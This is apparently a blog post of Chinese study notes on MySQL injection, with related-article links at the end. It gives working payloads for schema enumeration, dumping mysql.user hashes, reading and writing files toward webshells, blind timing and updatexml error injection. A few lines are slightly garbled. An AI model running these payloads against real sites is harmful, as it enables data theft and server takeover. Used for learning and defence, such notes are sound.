爆所有数据库

select schema_name from information_schema.schemata

先爆出多少个字段 id = 1 order by ?;

mysql5.0及以上 都有一个information_scheam这个数据库

informatino_schema 数据库

information_scheama 下面的表(tables) 存放的一些字段 比较有用

所以从information_schema.tables where table_schema = '数据库名';

比如是从一个information_schema里面先查到一个数据库,那么我们就需要

select * from information_schema;

1.获取所有字段

2.获取数据库的列名

select table_schema from information_schema.tables;

获取指定数据库下面的表名;

例如,获取rest里面的所有表名

select table_name from information_schema.tables where table_schema = 'rest';

获取表名里面的字段

select column_name from information_schema.columns where table_name = 'tag';

此方法有可能会查到其他库中的表

思考:

既然information_schema.columns和information_schema.tables 里面既然可以是查到column,那么直接从information_schema.columns查找不就可以了,为什么非要用information_schema.tables里面查数据库 数据表?

答案:

仔细从information_schema.tables 和 information_schema.columns 分别查查 ,或者对应着看数据库就可以了

判断是从mysql还是从access

and (select count() from sysobjects)>0 mssql

and (select count(
) from msysobjects)>0 access

高权限操作

查看所有用户

select user() from "随便一个数据表"; 查看所有的账号,没有密码

select * from mysql.user; 里面的密码是用md5进行加密的,拿去cmd5解密就可以了

查看系统的版本

select version() from "随便一个数据表";

查看当前系统;

select @@version_compile_os from admin;

load_file 读取文件

select load_file('路径名');

windows要注意斜杠线 如果直接在桌面的bbs.txt文件右击属性的话 会显示 C:\Users\Desktop\bbb.txt,但是Mysql在进行查询的时候要转换成

select load_file('C:/Users/Desktop/bbb.txt') from admin;

into_outfile 写入文件跟读取文件一样,一般都是写入一句话木马

select '12' into outfile select '12' into outfile 'C:/Users/75143/Desktop/bbb111111.txt';;

注意在写入或者读取的时候,因为网站会自动进行解析,所以最好都是用十六进制转换,但是Mysql在进行十六进制转换的时候会自动加上引号

比如把select '12' into outfile 'C:/Users/Desktop/bbb111111.txt'转换成十六进制就是0x27433a2f55736572732f4465736b746f702f6262623131313131312e74787427

写入文件 在操作之前是要知道运行文件的路径

如何知道:

  1.报错显示

  2.谷歌语法 比如 inurl:edu.cn warnging

  3.读取搭建平台的配置文件 比如apache目录下的conf里面的vhosts.conf 就存放着这个网站的配置信息

  4.漏洞报错 比如搜索:phpcms 爆路径

  5.遗留文件 类似于phpinifo.php 和install的说明 inurl: phpinfo.php(超级有用啊)

  6.字典爆破

高权限体现

网站A无注入点,网站B有注入点,网站A和B是同一家企业,如果拿到了网站B的数据库,可能网站A的数据库也就拿下了,因为一个企业可能布置在同一个mysql下,还是database()来实现看到是哪个数据库

要注意指定相应的数据库

SQL防护函数

magic_quote_gpc = OFF

安全函数 addslashes

如果有这两个函数,经过这函数的单引号、双引号、反斜杠、NULL等都会被加上

思考如何绕过?

十六进制编码或者宽字节注入 记得加转换的数据要进行0x 哈哈哈

十六进制编码在哪使用??

待解答.......

请求方式注入

get 注入 就是常见的在http里面通过get的方式进行传输

post 注入 一般都是登录的时候 进行post注入,这样的注入不易被人查觉到,能做到降低一定的危险

cookie 注入 用burp 里面改包试试,还没有遇见过cookie 注入

干扰:

单引号 ,可能有这个报错注入

原语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1

输入id =1' 之后产生

you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

绕过:主要是LIMIT 0,1' ,这个单引号没有闭合,那么我们只需要闭合单引号 and '1' = '1 就会拼接成 select xxx from xxx where id ='x' limit and '1' = '1'

或者把最后的单引号给注释掉 最常见的是 --+ 和 # /*

最喜欢报错注入,不喜欢盲注

http头注入

有的数据库会以http头中的某个数据来进行查询(说着就有点蹩脚...)

比如根据UA头显示不同的数据,那么我们如果是通过burp来抓到包之后就可以跑了,具体的还是用工具跑一遍把,要不然就麻烦了

$SERVER 来实现看到某个ip的访问数据

显示当前的访问ip

https://www.cnblogs.com/rendd/p/6182918.html

参数类型注入:

因为mysql注入的时候也会区分是数值还是字符串注入,所以在注入的时候需要进行区分下

搜索型 是用的like 通配符 比如说是select * from user where username like '%1%'

这个时候闭合的就是单引号和%

闭合方式: select * from user where username = '%1%' union select 1,2,3'%%#'这样的方式进行闭合

% 和单引号闭合的类似,就在单引号后面加上一个%

数字 没有单引号进行干扰

字符 一般都是需要在查询的时候加上单引号 比如select * from user where username = 'hhh'; 和 select * from user where username = hhh ; 第二个select 会报错,Mysql把这个hhh当成了列名来进行执行的

参数加密注入

$id = base64_encode($_GET['x']); 在id = 1 这里进行接受的时候将1进行base64进行编码,防止别人看出来,然后下面再把1 进行base64_decode 进行解码

则查询的时候就变成了select * from user where id = 1;

盲注

一般没有加函数的注入都是属于盲注,特点:速度快,兼容性差

盲注:速度慢,兼容性好

时间盲注:

sleep函数()

比如select * from user where id = 1 and sleep(5);

如果id = 1存在,那么我们会看到时间延迟5秒中,具体的在Mysql中结果是 Empty set (5.00 sec)

如果id = 1000 不存在,那么select * from user where id = 1000 and sleep(5); 结果就是Empty set (0.00 sec)

if 函数 如果判断1=2为真执行3,假则执行5

select if (1=2,3,5);

mid 函数

mid(str,index,ken) //截取str 从index开始,截取len的长度

比如这样

select mid(username,2,3) from admin where id = 1;

ord 函数

ord() 函数返回字符串第一个字符的 ASCII 值

select ord('a');

if 和 sleep 连用

select * from admin where id = 1 and sleep(if((select database()='rest'),0,5));

先用sleep里面再加入select database() = 'rest',这个就是比较好,如果database() = rest 就不延迟,否则就延迟5秒

database() = rest Empty set (0.00 sec)

database() != rest Empty set (5.00 sec)

length() 里面字段可以变成数字

比如select length(database());

结果:

+--------------------+

| length(database()) |

+--------------------+

| 4 |

+--------------------+

1 row in set (0.00 sec)

获取表名:

先获取表明长度

select sleep(if(length(table_name)=5,0,5)) from information_schema.tables where table_schema =database() limit 0,1;

进一步判断表名

通过字符

select sleep(if(mid(table_name,1,1)='a',0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;

通过ascii 利用的ascii

select sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;

limit 的使用

使用limit可以使找到的有几张数据表,limit 0 ,1 就是第从0 开始到1的一张数据表 limit 0,2就是2张

盲注最好是写个脚本进行跑,要不然很麻烦

这种操作是先判断length()中的table_name的值是否是5,理解table_name length if sleep的连用

爆列表和字段就写了

insert 4种注入 一般拿到源码或者知道sql语句的时候 才能手注试试

insert update delete limit 注入

利用updatexml()获取数据库

利用extravalue()获取数据

利用name_const()获取数据

利用子查询注入获取数据

用户注册(insert) 密码修改(update) 信息删除(delete)

delete from admin where id =1 or updatexml(1,concat(0x7e,(version())),0);

属于报错注入,并且这种注入都是真正删除数据的

ERROR 1105 (HY000): XPATH syntax error: '~5.5.40'

delete from admin where id =1 or updatexml(1,concat(0x3a,(select user())),1);

查询user

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

参考:https://xz.aliyun.com/t/3992

https://xz.aliyun.com/t/5505

再次学习sql注入的更多相关文章

  1. web安全学习(sql注入1)

    web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...

  2. WebGoat学习——SQL注入(SQL Injection)

    SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...

  3. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  4. 学习SQL注入---1

    开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...

  5. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  6. 2019-9-10:渗透测试,基础学习,sql注入笔记

    sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...

  7. Burosuite抓包Sqlmap学习Sql注入

    在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...

  8. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  9. SQL注入测试平台 SQLol -1. 简介与安装

    最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...

随机推荐

  1. MSSQL 模糊搜索全文(过程、函数、触发器等)

    --SQL Server数据库查找含有某个关键字的存储过程.函数.触发器等 --SQL Server数据库查找含有某个关键字的存储过程,SQL语句如下: SELECT OBJECT_NAME(b.pa ...

  2. mds/journal.cc: 2929: FAILED assert解决

    前言 在处理一个其他双活MDS无法启动环境的时候,查看mds的日志看到了这个错误mds/journal.cc: 2929: FAILED assert(mds->sessionmap.get_v ...

  3. RedisEclipse

    1.Eclipse配置 2.HelloWorld import redis.clients.jedis.Jedis; public class TestPing { public static voi ...

  4. 从 Webpack 到 Snowpack, 编译速度提升十倍以上——TRPG Engine迁移小记

    动机 TRPG Engine经过长久以来的迭代,项目已经显得非常臃肿了.数分钟的全量编译, 每次按下保存都会触发一次10s到1m不等的增量编译让我苦不堪言, 庞大的依赖使其每一次编译都会涉及很多文件和 ...

  5. scrapy学习之爬虫练习平台35

    前言 上一篇文章中爬取了爬虫练习平台的所有 ssr 网站,都是比较简单的,没有反爬措施,这次来爬一下后面的 spa 系列. 环境准备 这里沿用了上篇文章的环境和设置,就不重新搭建环境了. 开始爬取 s ...

  6. OWASP固件安全性测试指南

    OWASP固件安全性测试指南 固件安全评估,英文名称 firmware security testing methodology 简称 FSTM.该指导方法主要是为了安全研究人员.软件开发人员.顾问. ...

  7. [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)

    简介  原题复现:  考察知识点:SQL注入(报错注入,绕过过滤)  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...

  8. Angular 富文本编辑之路的探索

    作者:杨振兴Worktile 前端工程师,PingCode Wiki 产品技术负责人 PingCode Wiki 提供结构化知识库来记载信息和知识,便于团队沉淀经验.共享资源,欢迎大家注册试用 本文主 ...

  9. Java8用了这么久了,Stream 流用法及语法你都知道吗?

    1.简介 Stream流 最全的用法Stream 能用来干什么?用来处理集合,通过 使用Stream API 对集合数据进行操作,就类似于使用 SQL 执行的数据库查询,Stream API 提供了一 ...

  10. Guitar Pro 7教程之如何导入吉他谱

    在前面的章节小编为大家也讲解了不少关于Guitar Pro 的相关教程,譬如{cms_selflink page='index' text='Guitar Pro下载'},安装等等一系列的使用教程,前 ...